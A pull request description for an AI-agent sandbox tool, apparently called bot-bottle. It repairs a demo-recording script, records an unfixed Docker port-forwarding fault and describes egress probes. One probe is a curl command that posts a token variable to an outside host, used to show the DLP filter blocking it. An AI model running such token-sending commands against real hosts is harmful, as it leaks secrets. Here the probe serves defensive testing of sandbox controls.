Repair the demo harness and re-record the GIF #542
Reference in New Issue
Block a user
Delete Branch "fix-demo-harness"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
Closes #540.
Summary
scripts/demo-record.shhas been unrunnable sinceeafd1c1f(2026-06-04) deletedbot-bottle.demo.jsonwhiledemo-setup.shstill copied it underset -euo pipefail. This is a repair, not a refresh — the fixtures, the launch path, the backend, and the probes all had to change before a recording was possible.Fixtures rebuilt in the current format.
scripts/demo/bottle.mdandscripts/demo/agent.mdreplace the deleted JSON. The bottle declares the Claude provider inline rather thanextends: claude, so the demo runs on a host with noclaude.mdbottle of its own.Setup writes into real config, carefully. Bottles are only read from
$HOME/.bot-bottle/bottles/; abottles/dir in CWD is ignored by design (manifest/index.py:222, PRD 0011). The old throwawaybot-bottle.jsonswap cannot work, so setup installs into$HOMEand pairs every write with a.demo-backup. Two data-loss bugs were found and fixed against a scratch config root before this touched live config — teardown deleting the user's restored file on a second run, and setup backing up its own copy on a double run. Verified: pre-existing files survive three consecutive teardowns byte-identical, a clean install leaves nothing behind, a stale backup is refused, and double-setup still restores correctly.Retargeted to
macos-container. The Docker backend cannot launch a bottle here at all — see below.Probes are literal shell commands, and the git probe is gone. Details below.
The Docker backend is broken, and this PR does not fix it
bot-bottle starton the Docker backend always fails withorchestrator at http://127.0.0.1:8099 did not become healthy within 45s. The orchestrator container starts fine and is healthy internally, andPortBindingsis correctly127.0.0.1:8099— butNetworkSettings.Portsis{"8099/tcp":[]}, because the container is attached only to the--internalcontrol network and Docker cannot forward a host port into one. Not a general daemon fault: port 8765 forwards fine on the same daemon.orchestrator.py:94leaves_client_networkasNoneon the plain host-CLI path, which is what puts it on the internal network alone.Left untouched deliberately.
orchestrator.py:203is explicit that this is a security boundary — "Control network only — agents are never on it, so they have no route to the control plane (the L3 block, not just the JWT)" — and deciding how to publish that port without weakening the L3 block is not a call to make inside a demo PR. Worth its own issue.Why the demo looks different
--headless. The interactive path opens four selectors (bottle multiselect, name/color modal, image-mode picker,y/Npreflight) and the tape drove none of them. It also lists every bottle in~/.bot-bottle/bottles/, which would put the operator's personal bottle names into a GIF that ships in the README.--headlessis one-shot by construction — the Claude provider implements it asclaude -p(contrib/claude/agent_provider.py:351). There is no session to type follow-ups into, so all probes ride in on the single--prompt.ghp_FAKE...for$FAKE_TOKEN. The DLP scanner had nothing to match and gitleaks nothing to flag, so both controls reported a clean pass without ever being exercised — a far more dangerous failure than a visible crash.$FAKE_TOKENstays unexpanded in the tape on purpose: the bottle's own shell expands it inside the sandbox, which is what makes it a real egress test.-o /dev/null. With the body discarded, both probes rendered as a bare403and the agent could not tell which control fired. The refusal text is the only thing showing that probe 3's host passed the allowlist and the body scan is what refused it.What the recording shows
echo hellohellocurl http://example.com/"egress: host 'example.com' is not in the bottle's egress.routes allowlist…"403curl -d "token=$FAKE_TOKEN" http://example.org/dlp-probe"egress DLP: GitHub token (classic) found in body"403Probe 3's route sets
outbound_on_match: blockdeliberately. The defaultsupervisewould hold the request open awaiting an operator decision for up to 300s and stall the tape.Removed: the gitleaks probe
The demo used to push an AKIA-shaped key and watch gitleaks reject the ref. In the last run carrying it, gitleaks reported
no leaks foundand the gate forwarded the push — it failed only becauseupstream.invaliddoes not resolve. A recording of that reads as the gate catching a secret while showing the opposite, so the probe is out until #541 settles whether that is a real detection gap. I could not reproduce it standalone (gitleaks in the gateway image timed out at 3 minutes under both runtimes), so #541 is filed as an unverified lead.Verifying a re-record
demo-record.shexiting0does not mean the demo worked. VHS records whatever the terminal shows — including a shell syntax error — and encodes it happily. Recordings during this work exited0while capturingcommand not found, a TUI picker eating input, and abash: syntax error. Check the frames, e.g.ffmpeg -i docs/demo.gif -vf "select='not(mod(n\,25))'" -vsync 0 /tmp/f%02d.png, and confirm all three probes report the expected refusal text.Two tape-authoring traps have comments explaining the failure they caused, because neither is guessable: VHS does not support
\"inside a double-quotedType(use backticks), and a single apostrophe anywhere in the--prompttext ends the shell word early.Because the probes run through a live model, this is not fully deterministic even with literal commands. Treat a re-record as something to eyeball.
Noticed, not fixed
The README's Egress route fields table is out of sync with the parser. It documents
matches,auth.*,dlp.*, andgit.fetchas top-level route fields, butmanifest/egress.py:226accepts onlyhost,role, andinspect, with the rest nested underinspectand the DLP knobs namedoutbound_detectors/inbound_detectors/outbound_on_match. Out of scope here; worth its own issue.